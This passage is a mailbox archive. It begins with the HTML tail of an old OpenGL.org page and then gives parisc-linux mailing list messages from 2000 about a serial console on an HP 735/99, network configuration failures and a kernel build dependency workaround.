</b></font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
										<a href=3D"News/Special/OGLextensions/OGLextensions.html">All =
about OpenGL Extensions - for 3D Application &amp; Game =
Developers</a></font>
										<p><a href=3D"News/Special/StencilTalk/index.htm"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Creating Reflections and =
Shadows using Stencil Buffers</font></a></p>
										<p><a href=3D"News/Special/oim/Orth.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Really Fast Lighting with =
Orthogonal Illumination Maps</font></a></p>
										<p><a href=3D"News/Special/oimupdate/perpixel.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Per-Pixel Lighting for =
Unextended OpenGL</font></a></p>
										<p><a href=3D"News/Special/U2_Embedded_OpenGL.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Q&amp;A</font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">: OpenGL for embedded =
systems (e.g. the U2 spy plane)</font></p>
										<p><a href=3D"News/Special/BGL.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><b>Broadcast Graphics =
Language and OpenGL</b></font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><b> : A presentation to =
the ARB</b></font></p>
										<p><a =
href=3D"Coding/KilgardTechniques/oglpitfall/oglpitfall.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Avoiding 16 Common OpenGL =
Pitfalls</font></a></p>
										<p><a href=3D"Products/DriverTypes.html"><font =
face=3D"Arial,Helvetica,sans-serif" =
size=3D"2oducts/DriverTypes.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><b>OpenGL ICDs, =
standalone drivers &amp; miniGLs</b></font></a></p>
										<p><a href=3D"News/Special/DRI.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Q&amp;A</font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">: OpenGL drivers for =
Linux.</font></td>
								</tr>
							</table>
							</b></font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td><font face=3D"Arial,Helvetica,sans-serif"><b><img =
height=3D"11" width=3D"6" src=3D"Images/redarrow.gif" hspace=3D"2"> =
Discussion Forums </b></font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><br>
										* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/53/53.html">General =
Coding</a><a =
href=3D"http://www.opengl.org/Boards/discus/messages/51/51.html"><br>
										</a>* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/51/51.html">End-user=
 Help</a><a =
href=3D"http://www.opengl.org/Boards/discus/messages/147/147.html"><br>
										</a>* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/147/147.html">Linux<=
/a><a =
href=3D"http://www.opengl.org/Boards/discus/messages/9/9.html"><br>
										</a>* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/149/149.html">Embedd=
ed Systems</a><a =
href=3D"http://www.opengl.org/Boards/discus/messages/8/8.html"><br>
										</a>* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/148/148.html">Macint=
osh</a><a =
href=3D"http://www.opengl.org/Boards/discus/messages/52/52.html"><br>
										</a>* <a =
href=3D"http://www.opengl.org/Boards/discus/messages/52/52.html">Future =
OpenGL requirements</a></font></td>
								</tr>
							</table>
							</b></font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td><font face=3D"Arial,Helvetica,sans-serif"><b><img =
height=3D"11" width=3D"6" src=3D"Images/redarrow.gif" hspace=3D"2"> =
Contribute content to OpenGL.org</b></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
										If you are interested in contributing an article to OpenGL, =
please check out our <a =
href=3D"News/Special/ContributeArticle.html">writer's =
guidelines</a></font></td>
								</tr>
							</table>
							</b></font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td><font face=3D"Arial,Helvetica,sans-serif"><b><img =
height=3D"11" width=3D"6" src=3D"Images/redarrow.gif" hspace=3D"2"> =
Quick Links</b></font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><br>
										</font>
										<p><a =
href=3D"http://www.artifact-entertainment.com/demise/news.shtml"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Demise</font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> goes gold</font></p>
										<p><a href=3D"http://xracer.annexia.org/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">XRacer .95</font></a></p>
										<p><a href=3D"http://www.3dmidi.com/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">3DMidi</font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> v .2</font></p>
										<p><a href=3D"http://www.multimania.com/sracer/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">Space =
Racer</font></a><font face=3D"Arial,Helvetica,sans-serif" size=3D"2"> =
v.2.2 clone of Stunt Car Racer</font></p>
										<p><a href=3D"http://inno7.start.uni-sb.de/golk/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">GOLK </font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">3D engine =
update</font></p>
										<p><a =
href=3D"http://www.egroups.com/group/opengl-newbie/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">OpenGL Programming =
Mailing List for newbies</font></a></p>
										<p><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">PDF =
versions of excellent OpenGL articles: <a =
href=3D"http://www.nvidia.com/Marketing/Developer/swdevpublicpages.nsf/4a=
87ff3bf2c03cc38525646f0072ffa9/843ff75cd06d2a978825678500795440/$FILE/ext=
ensions.pdf">OpenGL Extentions</a>, <a =
href=3D"http://www.nvidia.com/Marketing/Developer/swdevpublicpages.nsf/4a=
87ff3bf2c03cc38525646f0072ffa9/843ff75cd06d2a978825678500795440/$FILE/ste=
ncil.pdf">Stencils</a> &amp; <a =
href=3D"http://www.nvidia.com/Marketing/Developer/swdevpublicpages.nsf/4a=
87ff3bf2c03cc38525646f0072ffa9/843ff75cd06d2a978825678500795440/$FILE/nvO=
penGLspecs.pdf">NVIDIA OpenGL specs</a></font></td>
								</tr>
							</table>
							</b></font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td width=3D"146"><img height=3D"5" width=3D"150" =
src=3D"Images/dot_clear.gif"><font =
face=3D"Arial,Helvetica,sans-serif"><b><img height=3D"11" width=3D"6" =
src=3D"Images/redarrow.gif" hspace=3D"2"> News Wanted! </b></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
										Have a new product, update or code snippet? Add an <a =
href=3D"License/WebLogos.html">OpenGL logo</a> to your site. Then <a =
href=3D"mailto:OpenGL_Logo@opengl.org">notify us by =
email</a>.</font></td>
								</tr>
							</table>
							</b></font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td><font face=3D"Arial,Helvetica,sans-serif"><b><img =
height=3D"11" width=3D"6" src=3D"Images/redarrow.gif" hspace=3D"2"> =
Thanks SGI!</b></font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><br>
										To help us accomodate the rapid growth on OpenGL.org, SGI is =
now hosting us on a dual-processor Origin server. </font></td>
								</tr>
							</table>
							</b></font></p>
							<p><img height=3D"10" width=3D"150" =
src=3D"Images/dot_clear.gif"></div>
					</td>
				</tr>
				<tr>
					<td bgcolor=3D"black" colspan=3D"10"><img =
src=3D"Images/dot_clear.gif" width=3D"1" height=3D"3"></td>
				</tr>
				<tr>
					<td bgcolor=3D"#7a7c88" colspan=3D"11"><img =
src=3D"Images/dot_clear.gif" width=3D"1" height=3D"3"></td>
				</tr>
				<tr>
					<td bgcolor=3D"#bbcccc" colspan=3D"4">&nbsp;</td>
					<td bgcolor=3D"#bbcccc" colspan=3D"9">
						<center>
							<br>
							<a href=3D"index.shtml"><font face=3D"Arial,Helvetica,sans-serif" =
color=3D"#7a7c88" size=3D"1"><nobr>Home</nobr></font></a><font =
size=3D"1"><nobr> | </nobr></font><a href=3D"News/RecentNews.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>News</nobr></font></a><font size=3D"1"><nobr> | =
</nobr></font><a href=3D"About/About.html"><font =
face=3D"Arial,Helvetica,sans-serif" color=3D"#000010" =
size=3D"1">About</font></a><font size=3D"1"><nobr> | </nobr></font><a =
href=3D"Products/Products.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001">Apps/Hardware</font></a><font size=3D"1"><nobr> | =
</nobr></font><a href=3D"Downloads/Downloads.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001">Download</font></a><font size=3D"1"><nobr> | =
</nobr></font><a href=3D"Documentation/Documentation.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>Docs</nobr></font></a><font size=3D"1"><nobr> | =
</nobr></font><a href=3D"Coding/Coding.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>Coding</nobr></font></a><font size=3D"1"><nobr> =
|</nobr> </font><a href=3D"License/License.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>License</nobr></font></a> | <a =
href=3D"http://www.opengl.org/Boards/discus/"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>Forums</nobr></font></a><font size=3D"1"><nobr> =
| </nobr></font><a href=3D"Viewpoints/Feedback.html"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1" =
color=3D"#000001"><nobr>Feedback</nobr></font></a><br>
							<br>
						</center>
					</td>
				</tr>
				<tr>
					<td bgcolor=3D"black" colspan=3D"13"><img =
src=3D"Images/dot_clear.gif" width=3D"1" height=3D"3"></td>
				</tr>
			</table>
		</div>
	</body>

</html>

------=_NextPart_000_00E1_01BF6BCB.634FA3C0--


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedro G. Gonnet" <pedro@vis.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serail console on 735/99
Date: Mon, 31 Jan 2000 18:27:03 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <3895C5E7.D1E5000B@vis.ethz.ch>
Reply-To: pgonnet@student.ethz.ch
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618747 29874 80.91.229.3 (22 Nov 2014 01:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:27 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@vis.ethz.ch  Mon Jan 31 11:23:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA06940
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jan 2000 11:23:56 -0700
Original-Received: (qmail 31477 invoked by uid 15267); 31 Jan 2000 17:24:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31431 invoked from network); 31 Jan 2000 17:24:55 -0000
Original-Received: from naboo.ethz.ch (postfix@129.132.71.62)
  by mailserv2.iuinc.com with SMTP; 31 Jan 2000 17:24:55 -0000
Original-Received: from vis.ethz.ch (endor.ethz.ch [129.132.71.60])
	by naboo.ethz.ch (Postfix) with ESMTP id 63998275B6
	for <parisc-linux@thepuffingroup.com>; Mon, 31 Jan 2000 18:24:53 +0100 (CET)
Original-Sender: pedro@vis.ethz.ch
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6757


hello!

i just got a hp9000/735/99 without a graphics adaptor and a
fddi-interface. i tried to boot it over a vt100 (yup, not a typo), but
all i get is a blank screen and about 5 min of disk activity.

the terminal is set to 9600 baud and connected to the serial port labled
"a" like the howto says, but i don't get anything on the screen and
hitting keys doesn't help.

in an older posting i saw something about the "TOC"-button, but that
doesn't seem to work either.

help.

pedro gonnet
pgonnet@student.ethz.ch


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Lan configuration failures
Date: Tue, 1 Feb 2000 01:03:45 -0700 (MST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200002010803.BAA10229@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618748 29876 80.91.229.3 (22 Nov 2014 01:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Feb  1 02:02:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA12608
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 02:02:45 -0700
Original-Received: (qmail 2662 invoked by uid 15267); 1 Feb 2000 09:05:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2653 invoked from network); 1 Feb 2000 09:05:21 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 09:05:21 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id BAA05465
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Feb 2000 01:03:46 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id BAA10229 for parisc-linux@thepuffingroup.com; Tue, 1 Feb 2000 01:03:45 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6758

Today some people have seen a couple of failures using the new ram disk
that willy generated. This new ram disk contains a program that tries
to configure a network card.  I have tracked down the problems, and
found them to both be configuration related:

    1) First, you must have CONFIG_INET set. If you don't, the socket
    call will fail, and you will get a "Bad file number" failure,
    due to the code trying to do an ioctl call on the -1 returned
    from the socket call failure.

    2) You must have the tulip driver configured in (CONFIG_DEC_ELCP)
    which also requires things like CONFIG_PCI, etc. If you have
    an older box that does not contain a tulip based network interface,
    or if you have a newer non Lasi box, you will not be able to
    get this to work. You must see "eth0:" debug output.

    If the hardware is not configured properly, the socket call will
    succeed, however the following ioctl will fail and you will get
    a "No such device" error.

Both of the failures will lead to the program exiting, which finally
will result in a "Kernel panic: Attempted to kill init!" failure.

John
jsm@fc.hp.com


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init_task.c dependency problem
Date: Tue, 1 Feb 2000 06:02:19 -0700 (MST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200002011302.GAA21104@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618748 29878 80.91.229.3 (22 Nov 2014 01:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Tue Feb  1 07:01:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA15166
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 07:01:23 -0700
Original-Received: (qmail 27228 invoked by uid 15267); 1 Feb 2000 14:04:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27220 invoked from network); 1 Feb 2000 14:03:59 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 14:03:59 -0000
Original-Received: from udlkern.fc.hp.com (jsm@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id GAA19339
	for <parisc-linux@thepuffingroup.com>; Tue, 1 Feb 2000 06:02:20 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.1) id GAA21104 for parisc-linux@thepuffingroup.com; Tue, 1 Feb 2000 06:02:19 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6759


With my most recent commit's, I made a change in a header file that
arch/parisc/kernel/init_task.c depends on. However, due to the makefile
games used to build this file (to properly align the task structure),
the dependencies for init_task.c are not honored (the .depend file
lists dependencies for init_task.o, but we build init_task0.o and
init_task1.o instead).

What this means is that init_task.c will not be rebuilt if you
just cvs update your build area. In that case, the kernel will
halt immediately after the "execve /sbin/init ...." message (i.e.
it will print halted and then print a register dump). If you
are building from a new area, or you make clean, you will not
have this problem. A simple workaround (if you don't want to do
a make clean) is to "touch arch/parisc/kernel/init_task.c" so that
it will be rebuilt. You could also just remove init_task0.o and
init_task1.o to force the rebuild.

Yesterday's commits allowed fork() from userland to work. Today's
commits allow exec() from userland to work.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedro G. Gonnet" <pedro@vis.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Tue, 01 Feb 2000 16:37:25 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <3896FDB5.269959C1@vis.ethz.ch>
Reply-To: pgonnet@student.ethz.ch
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618748 29882 80.91.229.3 (22 Nov 2014 01:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@vis.ethz.ch  Tue Feb  1 09:36:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA15866
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 09:36:24 -0700
Original-Received: (qmail 20962 invoked by uid 15267); 1 Feb 2000 16:39:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20952 invoked from network); 1 Feb 2000 16:39:01 -0000
Original-Received: from naboo.ethz.ch (postfix@129.132.71.62)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 16:39:01 -0000
Original-Received: from vis.ethz.ch (naboo.ethz.ch [129.132.71.62])
	by naboo.ethz.ch (Postfix) with ESMTP id 7D9D5275B6
	for <parisc-linux@thepuffingroup.com>; Tue,  1 Feb 2000 16:37:25 +0100 (CET)
Original-Sender: pedro@vis.ethz.ch
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6760


hello!

forgot to mention, i don't have a HIL keyboard, so unplugging it is not
an option. anybody know if it might have something to do with the vt100?

btw, any chance i could get my hands on an "normal" ethernet-adaptor for
this machine? fddi-cards cost a fortune...

thanks in advance
pedro gonnet


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Tue, 01 Feb 2000 09:48:32 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <200002011548.JAA01803@egsner.cirr.com>
References: <3896FDB5.269959C1@vis.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618749 29885 80.91.229.3 (22 Nov 2014 01:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: pgonnet@student.ethz.ch
Original-X-From: eric@cirr.com  Tue Feb  1 09:47:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA16043
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 09:47:34 -0700
Original-Received: (qmail 29189 invoked by uid 15267); 1 Feb 2000 16:50:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29168 invoked from network); 1 Feb 2000 16:50:10 -0000
Original-Received: from ns-a.cirr.com (HELO egsner.cirr.com) (root@192.67.63.1)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 16:50:10 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.9.0/8.9.3)
         with ESMTP id JAA01803; Tue, 1 Feb 2000 09:48:32 -0600 (CST)
In-reply-to: Your message of "Tue, 01 Feb 2000 16:37:25 +0100."
             <3896FDB5.269959C1@vis.ethz.ch> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6761


"Pedro G. Gonnet" writes:
- forgot to mention, i don't have a HIL keyboard, so unplugging it is not
- an option. anybody know if it might have something to do with the vt100?

	It's possible that someone reset the speeds on the
serial port, or configured the system to use the secondary
serial port as the console.  In any event, I'd suggest removing
the battery for a while, and then booting the system.. With no
graphics adapter, it will default to ttya at 9600/8n1.

- btw, any chance i could get my hands on an "normal" ethernet-adaptor for
- this machine? fddi-cards cost a fortune...

	As I recall, the ethernet module for these are no longer
in the HP price book.. You might try contacting an used HP
equipment reseller and see what they want for one.. Otherwise,
the next best option is a FDDI<->ethernet hub/router..

--
Eric Schnoebelen		eric@cirr.com		http://www.cirr.com
	Due to circumstances beyond your control, you are master of
		your fate and captain of your soul.


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Tue, 01 Feb 2000 10:10:08 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200002011810.KAA04636@milano.cup.hp.com>
References: <3896FDB5.269959C1@vis.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618749 29887 80.91.229.3 (22 Nov 2014 01:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: pgonnet@student.ethz.ch
Original-X-From: grundler@cup.hp.com  Tue Feb  1 12:08:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA17276
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 12:08:29 -0700
Original-Received: (qmail 5704 invoked by uid 15267); 1 Feb 2000 19:11:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5696 invoked from network); 1 Feb 2000 19:11:06 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 19:11:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP id 18336167A4
	for <parisc-linux@thepuffingroup.com>; Tue,  1 Feb 2000 13:09:28 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA04636; Tue, 1 Feb 2000 10:10:08 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 01 Feb 2000 16:37:25 PST."
             <3896FDB5.269959C1@vis.ethz.ch> 
Xref: news.gmane.org gmane.linux.ports.parisc:6762

"Pedro G. Gonnet" wrote:

> btw, any chance i could get my hands on an "normal" ethernet-adaptor for
> this machine? fddi-cards cost a fortune...

I thought the 735 has ethernet built-in.
IIRC, it's an AUI and you need a MAU thingy to connect to 10BT.

grant

> thanks in advance
> pedro gonnet
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Lan configuration failures
Date: Tue, 01 Feb 2000 10:14:50 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <200002011814.KAA04656@milano.cup.hp.com>
References: <200002010803.BAA10229@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618749 29892 80.91.229.3 (22 Nov 2014 01:12:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Tue Feb  1 12:13:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA17580
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 12:13:25 -0700
Original-Received: (qmail 9280 invoked by uid 15267); 1 Feb 2000 19:16:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9271 invoked from network); 1 Feb 2000 19:16:03 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 19:16:03 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (Postfix) with ESMTP id F0EEB22D7
	for <parisc-linux@thepuffingroup.com>; Tue,  1 Feb 2000 10:14:24 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id KAA04656; Tue, 1 Feb 2000 10:14:55 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 01 Feb 2000 01:03:45 PST."
             <200002010803.BAA10229@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6763

John Marvin wrote:
> Today some people have seen a couple of failures using the new ram disk
> that willy generated. This new ram disk contains a program that tries
> to configure a network card.  I have tracked down the problems, and
> found them to both be configuration related:
> 
>     1) First, you must have CONFIG_INET set. If you don't, the socket
>     call will fail, and you will get a "Bad file number" failure,
>     due to the code trying to do an ioctl call on the -1 returned
>     from the socket call failure.
...

John,
I found out Mathew Wilcox (bless his soul) changed parisc/config.in
on Saturday (1/29/2000) so CONFIG_INET (and everything else needed
for an A180) is enabled by default.
Basically, I needed to cvs update/rm .config/make oldconfig/...

thanks
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Tue, 01 Feb 2000 14:33:53 -0600
Lines: 19
Approved: news@gmane.org
